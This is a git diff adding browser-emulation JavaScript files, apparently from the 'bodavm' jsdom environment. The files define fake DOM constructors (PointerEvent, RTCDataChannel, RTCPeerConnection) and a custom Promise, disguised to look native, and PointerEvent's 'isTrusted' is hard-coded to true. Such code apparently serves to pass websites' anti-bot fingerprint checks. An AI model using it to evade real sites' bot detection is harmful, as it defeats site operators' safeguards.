+bodavm.toolsFunc.defineProperty('PluginArray', "refresh", {configurable:true, enumerable:true, writable:true, value:function refresh (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PluginArray'].prototype, "PluginArray", "refresh", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/PointerEvent.js b/env_xbb_lastest_jsdom/env copy/PointerEvent.js new file mode 100644 index 00000000..c935000d --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/PointerEvent.js @@ -0,0 +1,37 @@ +// PointerEvent对象 +bodavm.memory.globalobj['PointerEvent'] = function PointerEvent(){ + if (!(this instanceof PointerEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PointerEvent': Please use the 'new' operator, this DOM object constructor cannot be called as a function") + }; + if (arguments.length <1){ + return bodavm.toolsFunc.throwError("TypeError","Failed to construct 'PointerEvent': 1 argument required, but only 0 present.") + } + this._type=arguments[0] + Object.defineProperty(this,'isTrusted',{ + configurable:false, + enumerable:true, + set:undefined, + get:function (){ + return true + } + }) + +} +// PointerEvent对象 +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PointerEvent'], "PointerEvent"); +bodavm.memory.globalobj['PointerEvent'].prototype.__proto__=bodavm.memory.globalobj['MouseEvent'].prototype; +bodavm.memory.globalobj['PointerEvent'].__proto__=bodavm.memory.globalobj['MouseEvent']; +bodavm.toolsFunc.defineProperty('PointerEvent', "pointerId", {configurable:true, enumerable:true, get:function pointerId (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "pointerId_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('PointerEvent', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "width_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('PointerEvent', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "height_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('PointerEvent', "pressure", {configurable:true, enumerable:true, get:function pressure (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "pressure_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('PointerEvent', "tiltX", {configurable:true, enumerable:true, get:function tiltX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "tiltX_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('PointerEvent', "tiltY", {configurable:true, enumerable:true, get:function tiltY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "tiltY_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('PointerEvent', "azimuthAngle", {configurable:true, enumerable:true, get:function azimuthAngle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "azimuthAngle_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('PointerEvent', "altitudeAngle", {configurable:true, enumerable:true, get:function altitudeAngle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "altitudeAngle_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('PointerEvent', "tangentialPressure", {configurable:true, enumerable:true, get:function tangentialPressure (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "tangentialPressure_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('PointerEvent', "twist", {configurable:true, enumerable:true, get:function twist (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "twist_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('PointerEvent', "pointerType", {configurable:true, enumerable:true, get:function pointerType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "pointerType_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('PointerEvent', "isPrimary", {configurable:true, enumerable:true, get:function isPrimary (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "isPrimary_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('PointerEvent', "getCoalescedEvents", {configurable:true, enumerable:true, writable:true, value:function getCoalescedEvents (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "getCoalescedEvents", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('PointerEvent', "getPredictedEvents", {configurable:true, enumerable:true, writable:true, value:function getPredictedEvents (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "getPredictedEvents", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/PresentationConnectionCloseEvent.js b/env_xbb_lastest_jsdom/env copy/PresentationConnectionCloseEvent.js new file mode 100644 index 00000000..6a032b7c --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/PresentationConnectionCloseEvent.js @@ -0,0 +1,14 @@ +// PresentationConnectionCloseEvent对象 +bodavm.memory.globalobj['PresentationConnectionCloseEvent'] = function PresentationConnectionCloseEvent(){ + if (!(this instanceof PresentationConnectionCloseEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PresentationConnectionCloseEvent': Please use the 'new' operator, this DOM object constructor cannot be called as a function") + }; + if (arguments.length <2){ + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PresentationConnectionCloseEvent': 2 arguments required, but only 0 present.")} + + } +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PresentationConnectionCloseEvent'], "PresentationConnectionCloseEvent"); +bodavm.memory.globalobj['PresentationConnectionCloseEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['PresentationConnectionCloseEvent'].__proto__=bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('PresentationConnectionCloseEvent', "reason", {configurable:true, enumerable:true, get:function reason (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnectionCloseEvent'].prototype, "PresentationConnectionCloseEvent", "reason_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('PresentationConnectionCloseEvent', "message", {configurable:true, enumerable:true, get:function message (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnectionCloseEvent'].prototype, "PresentationConnectionCloseEvent", "message_get", arguments)}, set:undefined},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/Promise.js b/env_xbb_lastest_jsdom/env copy/Promise.js new file mode 100644 index 00000000..e8d0770f --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/Promise.js @@ -0,0 +1,193 @@ +const PENDING = 'pending'; +const FULFILLED = 'fulfilled'; +const REJECTED = 'rejected'; + +function Promise(executor) { + this.state = PENDING; + this.value = null; + this.reason = null; + this.onFulfilledCallbacks = []; + this.onRejectedCallbacks = []; + + const resolve = (value) => { + if (this.state === PENDING) { + this.state = FULFILLED; + this.value = value; + this.onFulfilledCallbacks.forEach((fun) => { + fun(); + }); + } + }; + + const reject = (reason) => { + if (this.state === PENDING) { + this.state = REJECTED; + this.reason = reason; + this.onRejectedCallbacks.forEach((fun) => { + fun(); + }); + } + }; + + try { + executor(resolve, reject); + } catch (reason) { + reject(reason); + } +} +bodavm.toolsFunc.safeProto(Promise,"Promise"); + + + +//原型上面的方法 +//用settimeout来模拟异步调用,保证链式调用,即then方法中要返回一个新的promise,并将then方法的返回值进行resolve +Promise.prototype.then = function (onFulfilled, onRejected) { + if (typeof onFulfilled != 'function') { + onFulfilled = function (value) { + return value; + }; + } + if (typeof onRejected != 'function') { + onRejected = function (reason) { + throw reason; + }; + } + const promise2 = new Promise((resolve, reject) => { + switch (this.state) { + case FULFILLED: + setTimeout(() => { + try { + const x = onFulfilled(this.value); + resolve(x); + } catch (reason) { + reject(reason); + } + }, 0); + break; + case REJECTED: + setTimeout(() => { + try { + const x = onRejected(this.reason); + resolve(x); + } catch (reason) { + reject(reason); + } + }, 0); + break; + case PENDING: + this.onFulfilledCallbacks.push(() => { + setTimeout(() => { + try { + const x = onFulfilled(this.value); + resolve(x); + } catch (reason) { + reject(reason); + } + }, 0); + }); + this.onRejectedCallbacks.push(() => { + setTimeout(() => { + try { + const x = onRejected(this.reason); + resolve(x); + } catch (reason) { + reject(reason); + } + }, 0); + }); + break; + } + }); + return promise2; +}; +bodavm.toolsFunc.safeFunc(Promise.prototype.then,'then') + +Promise.prototype.catch = function (onRejected) { + return this.then(null, onRejected); +}; +bodavm.toolsFunc.safeFunc(Promise.prototype.catch,'catch') + + +Promise.prototype.finally = function (fn) { + return this.then( + (value) => { + fn(); + return value; + }, + (reason) => { + fn(); + throw reason; + } + ); +}; +bodavm.toolsFunc.safeFunc(Promise.prototype.finally,'finally') + + +//静态方法 +Promise.resolve = function (value) { + return new Promise((resolve, reject) => { + resolve(value); + }); +}; +bodavm.toolsFunc.safeFunc(Promise.resolve,'resolve') + +Promise.reject = function (reason) { + return new Promise((resolve, reject) => { + reject(reason); + }); +}; +bodavm.toolsFunc.safeFunc(Promise.reject,'reject') + +//接受一个promise数组,当所有promise状态resolve后,执行resolve +Promise.all = function (promises) { + return new Promise((resolve, reject) => { + if (promises.length === 0) { + resolve([]); + } else { + let result = []; + let index = 0; + for (let i = 0; i < promises.length; i++) { + promises[i].then( + (data) => { + result[i] = data; + if (++index === promises.length) { + resolve(result); + } + }, + (err) => { + reject(err); + return; + } + ); + } + } + }); +}; +bodavm.toolsFunc.safeFunc(Promise.all,'all') + +//接受一个promise数组,当有一个promise状态resolve后,执行resolve +Promise.race = function (promises) { + return new Promise((resolve, reject) => { + if (promises.length === 0) { + resolve(); + } else { + let index = 0; + for (let i = 0; i < promises.length; i++) { + promises[i].then( + (data) => { + resolve(data); + }, + (err) => { + reject(err); + return; + } + ); + } + } + }); +}; +bodavm.toolsFunc.safeFunc(Promise.race,'race') + +bodavm.toolsFunc.safeFunc(Promise) +// globalMy.rename(Promise.prototype,"Promise") + diff --git a/env_xbb_lastest_jsdom/env copy/RTCDataChannel.js b/env_xbb_lastest_jsdom/env copy/RTCDataChannel.js new file mode 100644 index 00000000..a1fed76f --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/RTCDataChannel.js @@ -0,0 +1,25 @@ +// RTCDataChannel对象 +bodavm.memory.globalobj['RTCDataChannel'] = function RTCDataChannel(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCDataChannel'], "RTCDataChannel"); +bodavm.memory.globalobj['RTCDataChannel'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['RTCDataChannel'].__proto__=bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('RTCDataChannel', "label", {configurable:true, enumerable:true, get:function label (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "label_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('RTCDataChannel', "ordered", {configurable:true, enumerable:true, get:function ordered (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "ordered_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('RTCDataChannel', "maxPacketLifeTime", {configurable:true, enumerable:true, get:function maxPacketLifeTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "maxPacketLifeTime_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('RTCDataChannel', "maxRetransmits", {configurable:true, enumerable:true, get:function maxRetransmits (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "maxRetransmits_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('RTCDataChannel', "protocol", {configurable:true, enumerable:true, get:function protocol (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "protocol_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('RTCDataChannel', "negotiated", {configurable:true, enumerable:true, get:function negotiated (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "negotiated_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('RTCDataChannel', "id", {configurable:true, enumerable:true, get:function id (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "id_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('RTCDataChannel', "readyState", {configurable:true, enumerable:true, get:function readyState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "readyState_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('RTCDataChannel', "bufferedAmount", {configurable:true, enumerable:true, get:function bufferedAmount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "bufferedAmount_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('RTCDataChannel', "bufferedAmountLowThreshold", {configurable:true, enumerable:true, get:function bufferedAmountLowThreshold (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "bufferedAmountLowThreshold_get", arguments)}, set:function bufferedAmountLowThreshold (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "bufferedAmountLowThreshold_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('RTCDataChannel', "onopen", {configurable:true, enumerable:true, get:function onopen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "onopen_get", arguments)}, set:function onopen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "onopen_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('RTCDataChannel', "onbufferedamountlow", {configurable:true, enumerable:true, get:function onbufferedamountlow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "onbufferedamountlow_get", arguments)}, set:function onbufferedamountlow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "onbufferedamountlow_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('RTCDataChannel', "onerror", {configurable:true, enumerable:true, get:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "onerror_get", arguments)}, set:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "onerror_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('RTCDataChannel', "onclosing", {configurable:true, enumerable:true, get:function onclosing (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "onclosing_get", arguments)}, set:function onclosing (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "onclosing_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('RTCDataChannel', "onclose", {configurable:true, enumerable:true, get:function onclose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "onclose_get", arguments)}, set:function onclose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "onclose_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('RTCDataChannel', "onmessage", {configurable:true, enumerable:true, get:function onmessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "onmessage_get", arguments)}, set:function onmessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "onmessage_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('RTCDataChannel', "binaryType", {configurable:true, enumerable:true, get:function binaryType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "binaryType_get", arguments)}, set:function binaryType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "binaryType_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('RTCDataChannel', "reliable", {configurable:true, enumerable:true, get:function reliable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "reliable_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('RTCDataChannel', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "close", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('RTCDataChannel', "send", {configurable:true, enumerable:true, writable:true, value:function send (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCDataChannel'].prototype, "RTCDataChannel", "send", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/RTCPeerConnection.js b/env_xbb_lastest_jsdom/env copy/RTCPeerConnection.js new file mode 100644 index 00000000..7860a032 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/RTCPeerConnection.js @@ -0,0 +1,60 @@ +// RTCPeerConnection对象 +bodavm.memory.globalobj['RTCPeerConnection'] = function RTCPeerConnection(){ + + if (!(this instanceof RTCPeerConnection)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'RTCPeerConnection': Please use the 'new' operator, this DOM object constructor cannot be called as a function") + }; +} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCPeerConnection'], "RTCPeerConnection"); +bodavm.memory.globalobj['RTCPeerConnection'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['RTCPeerConnection'].__proto__=bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "generateCertificate", {configurable:true, enumerable:true, writable:true, value:function generateCertificate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "generateCertificate", arguments)}}); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "localDescription", {configurable:true, enumerable:true, get:function localDescription (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "localDescription_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "currentLocalDescription", {configurable:true, enumerable:true, get:function currentLocalDescription (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "currentLocalDescription_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "pendingLocalDescription", {configurable:true, enumerable:true, get:function pendingLocalDescription (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "pendingLocalDescription_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "remoteDescription", {configurable:true, enumerable:true, get:function remoteDescription (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "remoteDescription_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "currentRemoteDescription", {configurable:true, enumerable:true, get:function currentRemoteDescription (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "currentRemoteDescription_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "pendingRemoteDescription", {configurable:true, enumerable:true, get:function pendingRemoteDescription (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "pendingRemoteDescription_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "signalingState", {configurable:true, enumerable:true, get:function signalingState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "signalingState_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "iceGatheringState", {configurable:true, enumerable:true, get:function iceGatheringState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "iceGatheringState_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "iceConnectionState", {configurable:true, enumerable:true, get:function iceConnectionState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "iceConnectionState_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "connectionState", {configurable:true, enumerable:true, get:function connectionState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "connectionState_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "canTrickleIceCandidates", {configurable:true, enumerable:true, get:function canTrickleIceCandidates (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "canTrickleIceCandidates_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "onnegotiationneeded", {configurable:true, enumerable:true, get:function onnegotiationneeded (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onnegotiationneeded_get", arguments)}, set:function onnegotiationneeded (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onnegotiationneeded_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "onicecandidate", {configurable:true, enumerable:true, get:function onicecandidate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onicecandidate_get", arguments)}, set:function onicecandidate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onicecandidate_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "onsignalingstatechange", {configurable:true, enumerable:true, get:function onsignalingstatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onsignalingstatechange_get", arguments)}, set:function onsignalingstatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onsignalingstatechange_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "oniceconnectionstatechange", {configurable:true, enumerable:true, get:function oniceconnectionstatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "oniceconnectionstatechange_get", arguments)}, set:function oniceconnectionstatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "oniceconnectionstatechange_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "onconnectionstatechange", {configurable:true, enumerable:true, get:function onconnectionstatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onconnectionstatechange_get", arguments)}, set:function onconnectionstatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onconnectionstatechange_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "onicegatheringstatechange", {configurable:true, enumerable:true, get:function onicegatheringstatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onicegatheringstatechange_get", arguments)}, set:function onicegatheringstatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onicegatheringstatechange_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "onicecandidateerror", {configurable:true, enumerable:true, get:function onicecandidateerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onicecandidateerror_get", arguments)}, set:function onicecandidateerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onicecandidateerror_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "ontrack", {configurable:true, enumerable:true, get:function ontrack (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "ontrack_get", arguments)}, set:function ontrack (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "ontrack_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "sctp", {configurable:true, enumerable:true, get:function sctp (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "sctp_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "ondatachannel", {configurable:true, enumerable:true, get:function ondatachannel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "ondatachannel_get", arguments)}, set:function ondatachannel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "ondatachannel_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "onaddstream", {configurable:true, enumerable:true, get:function onaddstream (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onaddstream_get", arguments)}, set:function onaddstream (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onaddstream_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "onremovestream", {configurable:true, enumerable:true, get:function onremovestream (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onremovestream_get", arguments)}, set:function onremovestream (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onremovestream_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "addIceCandidate", {configurable:true, enumerable:true, writable:true, value:function addIceCandidate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "addIceCandidate", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "addStream", {configurable:true, enumerable:true, writable:true, value:function addStream (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "addStream", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "addTrack", {configurable:true, enumerable:true, writable:true, value:function addTrack (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "addTrack", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "addTransceiver", {configurable:true, enumerable:true, writable:true, value:function addTransceiver (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "addTransceiver", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "close", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "createAnswer", {configurable:true, enumerable:true, writable:true, value:function createAnswer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "createAnswer", arguments)}},'prototype'); 